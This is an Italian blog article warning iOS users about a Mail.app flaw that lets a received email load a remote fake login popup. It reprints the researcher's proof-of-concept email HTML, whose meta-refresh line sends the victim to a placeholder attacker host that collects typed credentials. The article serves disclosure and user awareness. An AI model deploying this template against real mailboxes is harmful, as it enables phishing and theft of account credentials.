Rubare credenziali è facile, quasi come leggere la posta (con iOS Mail)

mail.app injection

Molte delle persone che stanno leggendo questo articolo possiedono un iPhone o un iPad e probabilmente la quasi totalità di queste utilizza l’applicazione predefinita di iOS per leggere la propria posta elettronica.

Se una di quelle persone sei proprio tu, fai molta attenzione, perchè una vulnerabilità del client email di Apple non ancora corretta, può mettere seriamente a rischio i tuoi servizi personali come iCloud (vi dice niente il tag #fappening?)

Il ricercatore di sicurezza Jan Soucek ha infatti reso nota da pochi giorni una vulnerabilità critica sul client in questione, la quale permette di far comparire un finto ‘popup’ di autenticazione nel momento stesso in cui un messaggio di posta malevolo viene ricevuto e visualizzato.

Se non si è particolarmente accorti, oppure si è un po’ distratti, è molto facile cadere nel tranello e inserire così le credenziali personali, le quali non serviranno però ad accedere ad alcun servizio, ma verranno prontamente inviate a qualcun altro (che dal quel momento potrà allegramente farsi i vostri affari)!

Vediamo come funziona la vulnerabilità

Jan, lo scopritore del problema, oltre ad aver reso nota la vulnerabilità ha distribuito su Github un codice PoC (Proof Of Concept) dal nome iOS Mail.app Inject Kit, che consente facilmente lo sfruttamente della stessa e fa capire meglio dove lo specifico problema si nasconda.

Oltre al codice vero e proprio, è disponibile su Youtube anche un video demo esemplificativo, nel quale si finge un attacco e si carpiscono le credenziali iCloud del destinatario:

 

Nel dettaglio

Il problema risiede esattamente nella gestione del tag HTML <meta http-equiv=refresh> da parte dell’applicazione di posta, o meglio nel fatto che questo tag non venga ignorato durante il rendering del messaggio.

In pratica, questo tag ci permette di sostituire il contenuto inviato originariamente, con del codice HTML disponibile in remoto.

Anche se normalmente JavaScript è disabilitato all’interno del client, il ricercatore ha dimostrato come sia possibile costruire un form che catturi le credenziali utilizzando solamente HTML e CSS.

Il codice malevolo

<!DOCTYPE html>
<html>
<head>
 <meta charset="utf-8">
 <meta content="initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no, width=device-width, height=device-height" name="viewport">
 <meta http-equiv=refresh content=0;URL=http://your.domain/mail-inject/index.php?modal-username=research@subject.tld />
 <style>
 html, body {
 position: relative;
 height: 100%;
 width: 100%;
 overflow-x: hidden;
 }
 
 body {
 font-family: Helvetica Neue,Helvetica,Arial,sans-serif;
 margin: 0;
 padding: 0;
 color: #000;
 font-size: 14px;
 line-height: 1.4;
 width: 100%;
 height: 110%;
 -webkit-text-size-adjust: 100%;
 background: #fff;
 overflow: hidden;
 }
 </style>
</head>
<body>
 <p>Lorem ipsum EMAIL CONTENT</p>
</body>
</html>

Esattamente nella riga

<meta http-equiv=refresh content=0;URL=http://your.domain/mail-inject/index.php?modal-username=research@subject.tld />

si nasconde il trucco!

Come è facile intuire dalla lettura del codice, nel momento in cui si visualizzerà tale messaggio, il contenuto della pagina “http://your.domain/mail-inject/index.php” sarà caricato nella finestra e tutto ciò che verrà scritto all’interno del form remoto, sarà a completa disposizione dell’attaccante.

Il framework disponibile è costruito in maniera molto intelligente e grazie all’utilizzo di Cookies, non mostrerà alla vittima due volte di fila il form di accesso, così facendo riuscirà a destare il minor sospetto possibile.

Raccomandazioni

Non si trovano tutti i giorni vulnerabilità così facili da sfruttare, ma è sempre buona norma evitare di inserire credenziali nel primo popup che passa davanti agli occhi!